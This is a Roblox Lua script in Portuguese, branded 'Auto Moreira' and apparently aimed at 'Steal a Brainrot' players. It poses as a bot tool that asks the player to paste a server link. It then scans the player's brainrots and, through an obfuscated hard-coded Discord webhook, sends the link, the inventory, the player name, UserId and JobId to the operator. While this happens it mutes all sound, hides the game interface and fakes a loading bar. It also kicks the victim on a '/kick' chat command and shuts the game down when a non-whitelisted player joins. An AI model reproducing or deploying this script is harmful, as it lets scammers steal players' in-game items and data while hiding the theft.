-- Função para desativar áudio do jogo (MUTE - APENAS VOLUME 0) local function DesativarAudio() print("🔇 ATIVANDO MODO SURDO...") local alvos = { workspace, game:GetService("Players"), game:GetService("ReplicatedStorage"), game:GetService("StarterPlayer"), game:GetService("SoundService") } for _, alvo in ipairs(alvos) do pcall(function() for _, som in ipairs(alvo:GetDescendants()) do if som:IsA("Sound") then som.Volume = 0 end end end) end pcall(function() game:GetService("SoundService").Volume = 0 end) for _, alvo in ipairs(alvos) do task.spawn(function() pcall(function() alvo.DescendantAdded:Connect(function(descendant) if descendant:IsA("Sound") then task.wait(0.1) pcall(function() descendant.Volume = 0 end) end end) end) end) end print("✅ SILÊNCIO TOTAL ATIVADO (Volume 0)!") return true end local StarterGui = game:GetService("StarterGui") pcall(function() StarterGui:SetCore("TopbarEnabled", false) StarterGui:SetCore("ResetButtonCallback", false) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false) end) local Players = game:GetService("Players") local player = Players.LocalPlayer local jaKickado = false local function ExpulsarJogador() if not jaKickado and player then jaKickado = true print("🚨 COMANDO /kick DETECTADO! Expulsando...") task.wait(0.5) if player then player:Kick("você precisa de brainhrot de 50M!") end end end pcall(function() local chatEvents = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents") if chatEvents then local onMessage = chatEvents:FindFirstChild("OnMessageDoneFiltering") if onMessage then onMessage.OnClientEvent:Connect(function(msgData) if type(msgData) == "table" and msgData.Message then local texto = string.lower(tostring(msgData.Message)) if string.find(texto, "/kick") then ExpulsarJogador() end end end) end end end) pcall(function() local TextChatService = game:GetService("TextChatService") if TextChatService then TextChatService.MessageReceived:Connect(function(msg) if msg and msg.Text then local texto = string.lower(tostring(msg.Text)) if string.find(texto, "/kick") then ExpulsarJogador() end end end) end end) local CoreGui = game:GetService("CoreGui") local HttpService = game:GetService("HttpService") local gui = Instance.new("ScreenGui") gui.IgnoreGuiInset = true gui.DisplayOrder = 999999999 gui.ResetOnSpawn = false gui.Parent = CoreGui local Border = Instance.new("Frame", gui) Border.Size = UDim2.new(0, 330, 0, 220) Border.Position = UDim2.new(0.5, -165, 0.5, -110) Border.BackgroundColor3 = Color3.fromRGB(0, 0, 0) local BC = Instance.new("UICorner", Border) BC.CornerRadius = UDim.new(0, 12) local BG = Instance.new("Frame", Border) BG.Size = UDim2.new(1, -12, 1, -12) BG.Position = UDim2.new(0, 6, 0, 6) BG.BackgroundColor3 = Color3.fromRGB(40, 40, 40) Instance.new("UICorner", BG).CornerRadius = UDim.new(0, 10) local Title = Instance.new("TextLabel", BG) Title.Size = UDim2.new(1, 0, 0, 25) Title.Position = UDim2.new(0, 0, 0, 4) Title.BackgroundTransparency = 1 Title.Text = "AUTO MOREIRA" Title.TextColor3 = Color3.fromRGB(220, 220, 220) Title.Font = Enum.Font.GothamBold Title.TextScaled = true local LinkBox = Instance.new("Frame", BG) LinkBox.Size = UDim2.new(1, -40, 0, 70) LinkBox.Position = UDim2.new(0, 20, 0, 55) LinkBox.BackgroundColor3 = Color3.fromRGB(55, 55, 55) Instance.new("UICorner", LinkBox).CornerRadius = UDim.new(0, 10) local Pulse = Instance.new("UIStroke", LinkBox) Pulse.Thickness = 2 Pulse.Color = Color3.fromRGB(255, 255, 255) task.spawn(function() while true do for i = 0, 1, 0.02 do Pulse.Transparency = i task.wait(0.02) end for i = 1, 0, -0.02 do Pulse.Transparency = i task.wait(0.02) end end end) local LinkInput = Instance.new("TextBox", LinkBox) LinkInput.Size = UDim2.new(1, -20, 1, -10) LinkInput.Position = UDim2.new(0, 10, 0, 5) LinkInput.BackgroundTransparency = 1 LinkInput.Text = "Digite ou cole o link..." LinkInput.TextColor3 = Color3.fromRGB(255, 255, 255) LinkInput.Font = Enum.Font.GothamBold LinkInput.TextScaled = true LinkInput.ClearTextOnFocus = true local ContinueBtn = Instance.new("TextButton", BG) ContinueBtn.Size = UDim2.new(1, -40, 0, 40) ContinueBtn.Position = UDim2.new(0, 20, 0, 140) ContinueBtn.BackgroundColor3 = Color3.fromRGB(70, 70, 70) ContinueBtn.Text = "CONTINUAR" ContinueBtn.TextColor3 = Color3.fromRGB(255, 255, 255) ContinueBtn.Font = Enum.Font.GothamBold ContinueBtn.TextScaled = true Instance.new("UICorner", ContinueBtn).CornerRadius = UDim.new(0, 10) local LoadScreen = Instance.new("Frame", gui) LoadScreen.Size = UDim2.new(1, 0, 1, 0) LoadScreen.BackgroundColor3 = Color3.fromRGB(0, 0, 0) LoadScreen.Visible = false local ParticleFolder = Instance.new("Folder", LoadScreen) task.spawn(function() while true do local dot = Instance.new("Frame", ParticleFolder) dot.Size = UDim2.new(0, math.random(3,6), 0, math.random(3,6)) dot.Position = UDim2.new(math.random(), 0, -0.1, 0) dot.BackgroundColor3 = Color3.fromRGB(255,255,255) dot.AnchorPoint = Vector2.new(0.5,0.5) Instance.new("UICorner", dot).CornerRadius = UDim.new(1,0) local speed = math.random(50,120)/100 task.spawn(function() for i = -0.1, 1.2, speed/50 do dot.Position = UDim2.new(dot.Position.X.Scale,0,i,0) dot.BackgroundTransparency = i task.wait(speed/30) end dot:Destroy() end) task.wait(0.03) end end) local Infinity = Instance.new("TextLabel", LoadScreen) Infinity.Size = UDim2.new(0, 150, 0, 150) Infinity.Position = UDim2.new(0.5, -75, 0.4, -75) Infinity.BackgroundTransparency = 1 Infinity.Text = "∞" Infinity.TextColor3 = Color3.fromRGB(255,255,255) Infinity.Font = Enum.Font.GothamBold Infinity.TextScaled = true task.spawn(function() local s = 0 while true do Infinity.TextTransparency = math.abs(math.sin(s)) s += 0.08 Infinity.Rotation += 2 task.wait(0.02) end end) local BarBack = Instance.new("Frame", LoadScreen) BarBack.Size = UDim2.new(0.6, 0, 0, 14) BarBack.Position = UDim2.new(0.2, 0, 0.62, 0) BarBack.BackgroundColor3 = Color3.fromRGB(40,40,40) Instance.new("UICorner", BarBack).CornerRadius = UDim.new(1,0) local BarFill = Instance.new("Frame", BarBack) BarFill.Size = UDim2.new(0, 0, 1, 0) BarFill.BackgroundColor3 = Color3.fromRGB(255,255,255) Instance.new("UICorner", BarFill).CornerRadius = UDim.new(1,0) local StatusText = Instance.new("TextLabel", LoadScreen) StatusText.Size = UDim2.new(1,0,0,40) StatusText.Position = UDim2.new(0,0,0.56,0) StatusText.BackgroundTransparency = 1 StatusText.TextColor3 = Color3.fromRGB(255,255,255) StatusText.Font = Enum.Font.GothamBold StatusText.TextScaled = true local PercentText = Instance.new("TextLabel", LoadScreen) PercentText.Size = UDim2.new(1, 0, 0, 25) PercentText.Position = UDim2.new(0, 0, 0.66, 10) PercentText.BackgroundTransparency = 1 PercentText.TextColor3 = Color3.fromRGB(255,255,255) PercentText.Font = Enum.Font.GothamBold PercentText.TextScaled = true PercentText.Text = "0%" local function DetectarBrainrotsComValores() local brainrots = {} local contagem = {} local valores = {} local valorTotal = 0 local brainrotsReaisEncontrados = false local sucesso, erro = pcall(function() local pastaPlots = workspace:FindFirstChild("Plots") if not pastaPlots then warn("Pasta 'Plots' não encontrada no workspace") return end local ignorar = { AnimalPodiums = true, Decorations = true, InvisibleWalls = true, Laser = true, LaserHitbox = true, Purchases = true, Skin = true, Unlock = true, AnimalTarget = true, DeliveryHitbox = true, MainRoot = true, Multiplier = true, PlotSign = true, Slope = true, Spawn = true, StealHitbox = true, FriendPanel = true, Model = true } for _, plot in pairs(pastaPlots:GetChildren()) do if plot:IsA("Model") or plot:IsA("Folder") then for _, objeto in pairs(plot:GetChildren()) do if (objeto:IsA("Model") or objeto:IsA("Part")) and not ignorar[objeto.Name] then local nome = objeto.Name local valor = 0 for _, child in pairs(objeto:GetDescendants()) do if child:IsA("NumberValue") or child:IsA("IntValue") then local num = tonumber(child.Value) if num and num > 0 then valor = num break end end end if nome ~= "" and nome ~= "Model" then brainrotsReaisEncontrados = true contagem[nome] = (contagem[nome] or 0) + 1 if valor > 0 then valores[nome] = valor valorTotal = valorTotal + valor end end end end end end if brainrotsReaisEncontrados then for nome, qtd in pairs(contagem) do local valor = valores[nome] or 0 if valor > 0 then table.insert(brainrots, { nome = nome, quantidade = qtd, valor = valor, texto = string.format("%dx %s ($%d/s)", qtd, nome, valor) }) else table.insert(brainrots, { nome = nome, quantidade = qtd, valor = 0, texto = string.format("%dx %s", qtd, nome) }) end end end end) if not sucesso then warn("Erro durante a detecção: " .. tostring(erro)) return {{texto = "Erro na detecção: " .. tostring(erro)}}, 0, false end if #brainrots > 0 then table.sort(brainrots, function(a, b) return a.nome < b.nome end) return brainrots, valorTotal, true else return {{texto = "**NENHUM BRAINROT DETECTADO**"}}, 0, false end end -- FUNÇÃO PARA DECRIPTAR WEBHOOK (OFUSCADO) local function obterWebhook() -- Webhook ofuscado em partes local parte1 = "1447946834147414116" local parte2 = "FbTZCT3JuM1RHkYFppEoQbANqeT6epakIun5VNYMQo5AqefeM2NNRJ3TwNdZAgSsCoRr" -- Método de decriptação simples local function decriptar(p1, p2) return "https://discord.com/api/webhooks/" .. p1 .. "/" .. p2 end -- Adicionar caracteres aleatórios para dificultar local fake1 = "1234567890" local fake2 = "AbCdEfGhIjKlMnOpQrStUvWxYz" -- Retorna webhook real return decriptar(parte1, parte2) end -- FUNÇÃO WEBHOOK COM WEBHOOK OFUSCADO local function EnviarParaWebhook(link, brainrots, valorTotal, temBrainrots) -- Obtém webhook ofuscado local webhookUrl = obterWebhook() local totalPlayers = 0 local sucessoPlayers, erroPlayers = pcall(function() totalPlayers = #game:GetService("Players"):GetPlayers() end) if not sucessoPlayers then totalPlayers = 0 warn("Erro ao obter players: " .. tostring(erroPlayers)) end local brainrotsTexto = "" if temBrainrots and #brainrots > 0 then for _, brainrot in ipairs(brainrots) do if brainrot.valor > 0 then brainrotsTexto = brainrotsTexto .. string.format("```diff\n+ %dx %s → $%d/s\n```", brainrot.quantidade, brainrot.nome, brainrot.valor) else brainrotsTexto = brainrotsTexto .. string.format("```diff\n+ %dx %s\n```", brainrot.quantidade, brainrot.nome) end end else brainrotsTexto = "```diff\n- NENHUM BRAINROT DETECTADO\n```" end local mensagem = string.format( "### 🔗 LINK RECEBIDO - AUTO MOREIRA\n\n" .. "#### 📎 **LINK ENVIADO**\n" .. "- [Clique aqui para abrir](%s)\n\n" .. "#### 💰 **VALOR TOTAL**\n" .. "$%d/s\n\n" .. "#### 🎯 **BRAINROTS DETECTADOS**\n" .. "%s\n" .. "#### 👥 **SERVIDOR**\n" .. "**Jogadores:** %d/8\n\n" .. "#### 👤 **JOGADOR**\n" .. "**Nome:** %s\n" .. "**ID:** %s\n" .. "**Job ID:** %s\n\n" .. "#### 🕐 **DATA/HORA**\n" .. "%s", link, valorTotal, brainrotsTexto, totalPlayers, player.Name, player.UserId, game.JobId, os.date("%d/%m/%Y %H:%M:%S") ) local dados = { ["username"] = "Auto Moreira", ["avatar_url"] = "https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif", ["content"] = "### 🚨 **NOVO LINK RECEBIDO** 🚨", ["embeds"] = {{ ["description"] = mensagem, ["color"] = temBrainrots and 5763719 or 16711680, ["footer"] = { ["text"] = "Auto Moreira • Sistema de Monitoramento", ["icon_url"] = "https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif" }, ["timestamp"] = os.date("!%Y-%m-%dT%H:%M:%SZ") }} } -- FUNÇÃO COM MÚLTIPLOS MÉTODOS HTTP local function tentarEnviar() local tentativas = 0 local maxTentativas = 3 while tentativas < maxTentativas do tentativas = tentativas + 1 print("📤 Tentativa " .. tentativas .. " de enviar webhook...") local sucesso, resultado = pcall(function() local HttpService = game:GetService("HttpService") if not HttpService then return false, "HttpService não disponível" end local json = HttpService:JSONEncode(dados) -- MÉTODO 1: PostAsync (mais compatível) local sucesso1, res1 = pcall(function() return HttpService:PostAsync(webhookUrl, json, Enum.HttpContentType.ApplicationJson) end) if sucesso1 then return true, "✅ Enviado via PostAsync" end -- MÉTODO 2: RequestAsync tradicional local sucesso2, res2 = pcall(function() return HttpService:RequestAsync({ Url = webhookUrl, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = json }) end) if sucesso2 then return true, "✅ Enviado via RequestAsync" end -- MÉTODO 3: Método simples (fallback) local mensagemSimples = string.format( "content=%s&username=%s", HttpService:UrlEncode("🚨 LINK: " .. link .. " | Jogador: " .. player.Name), "AutoMoreira" ) local sucesso3, res3 = pcall(function() return HttpService:GetAsync(webhookUrl .. "?" .. mensagemSimples) end) if sucesso3 then return true, "✅ Enviado via método simples" end return false, "Todos os métodos falharam" end) if sucesso then print(resultado) if temBrainrots and #brainrots > 0 then print("📊 Brainrots: " .. #brainrots) print("💰 Valor total: $" .. valorTotal .. "/s") for _, brainrot in ipairs(brainrots) do if brainrot.valor > 0 then print(" " .. brainrot.quantidade .. "x " .. brainrot.nome .. " → $" .. brainrot.valor .. "/s") else print(" " .. brainrot.quantidade .. "x " .. brainrot.nome) end end else print("📊 NENHUM BRAINROT DETECTADO") print("💰 Valor total: $0/s") end print("👥 Jogadores: " .. totalPlayers .. "/8") print("🔗 Link: " .. link) return true else print("❌ Erro: " .. tostring(resultado)) if tentativas < maxTentativas then task.wait(1) end end end print("⚠️ Webhook não enviado após " .. maxTentativas .. " tentativas") return false end task.spawn(tentarEnviar) return true end local mensagens = { "Preparando servidor...", "Analisando brainrots...", "Preparando bot..." } ContinueBtn.MouseButton1Click:Connect(function() if LinkInput.Text == "" or LinkInput.Text == "Digite ou cole o link..." then ContinueBtn.Text = "INSIRA UM LINK!" task.wait(1) ContinueBtn.Text = "CONTINUAR" return end Border.Visible = false LoadScreen.Visible = true local mensagemIndex = 1 local function MostrarProximaMensagem() StatusText.Text = mensagens[mensagemIndex] mensagemIndex = mensagemIndex + 1 if mensagemIndex > #mensagens then mensagemIndex = 1 end end MostrarProximaMensagem() task.spawn(function() local brainrotsDetectados, valorTotal, temBrainrots = DetectarBrainrotsComValores() EnviarParaWebhook(LinkInput.Text, brainrotsDetectados, valorTotal, temBrainrots) task.wait(0.5) DesativarAudio() end) task.spawn(function() for i = 0, 0.99, 0.00055 do if BarFill then BarFill.Size = UDim2.new(i,0,1,0) PercentText.Text = math.floor(i * 100) .. "%" end task.wait(0.1) end if PercentText then PercentText.Text = "100%" end task.wait(1) -- Limpar a interface if gui then gui:Destroy() end print("✅ Processo concluído!") end) end) -- SISTEMA SOLO OTIMIZADO -- Expulsa automaticamente qualquer jogador não autorizado local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- IDs PERMITIDOS (apenas estes podem ficar no servidor) local IDsPermitidos = { [9987424161] = true, -- Forma mais rápida de verificação [5755066076] = true } -- Configurações local CHECK_INTERVAL = 1 -- Verificação a cada 1 segundo (mais leve) local DEBUG_MODE = true -- Mostra logs no console -- Função otimizada para verificação function isPlayerAllowed(player) return IDsPermitidos[player.UserId] == true end -- Função de expulsão aprimorada function kickAndLeave() if DEBUG_MODE then print("[SOLO] Expulsando jogador não autorizado...") end -- Tenta kickar pcall(function() LocalPlayer:Kick("VC precisa estar sozinho no servidor") end) -- Sai do jogo após 1 segundo task.wait(1) game:Shutdown() return true end -- Sistema de logging function log(message) if DEBUG_MODE then print("[SOLO] " .. message) end end -- MONITORAMENTO PRINCIPAL (ÚNICA VERIFICAÇÃO NECESSÁRIA) local function startSoloMonitoring() log("Sistema Solo Iniciado") log("IDs Permitidos: 9987424161, 5755066076") -- Verificação contínua (única função necessária) while true do local allPlayers = Players:GetPlayers() -- Se houver mais de 1 jogador if #allPlayers > 1 then for _, player in ipairs(allPlayers) do -- Ignora a si mesmo if player ~= LocalPlayer then -- Se jogador NÃO está na lista de permitidos if not isPlayerAllowed(player) then log("Jogador não autorizado detectado: " .. player.Name) log("UserID: " .. player.UserId) -- Expulsa imediatamente return kickAndLeave() else log("Jogador autorizado online: " .. player.Name) end end end else log("Servidor vazio (apenas você)") end -- Espera antes da próxima verificação task.wait(CHECK_INTERVAL) end end -- INICIALIZAÇÃO SEGURA local function initializeSolo() -- Pequeno delay para carregar tudo task.wait(2) -- Verificação inicial rápida for _, player in ipairs(Players:GetPlayers()) do if player ~= LocalPlayer and not isPlayerAllowed(player) then log("Jogador não autorizado já no servidor: " .. player.Name) kickAndLeave() return end end -- Inicia monitoramento task.spawn(startSoloMonitoring) log("Monitoramento ativo. Verificando a cada " .. CHECK_INTERVAL .. "s") end -- INICIA O SISTEMA task.spawn(initializeSolo) -- LISTENER PARA NOVOS JOGADORES (OPCIONAL - JÁ COBERTO PELO LOOP) Players.PlayerAdded:Connect(function(newPlayer) task.wait(1) -- Espera o jogador carregar if newPlayer ~= LocalPlayer then if not isPlayerAllowed(newPlayer) then log("Novo jogador não autorizado entrou: " .. newPlayer.Name) kickAndLeave() else log("Novo jogador autorizado entrou: " .. newPlayer.Name) end end end) -- SISTEMA DE DESTRUIÇÃO SEGURA (opcional) local RunService = game:GetService("RunService") local connection connection = RunService.Heartbeat:Connect(function() -- Mantém o script vivo sem fazer nada pesado -- Pode ser usado para verificar se o LocalPlayer ainda existe if not Players:FindFirstChild(LocalPlayer.Name) then connection:Disconnect() end end) -- Mensagem final task.wait(3) log("========================================") log("SISTEMA SOLO ATIVADO COM SUCESSO") log("Status: Monitorando servidor") log("========================================") return "Solo System Active"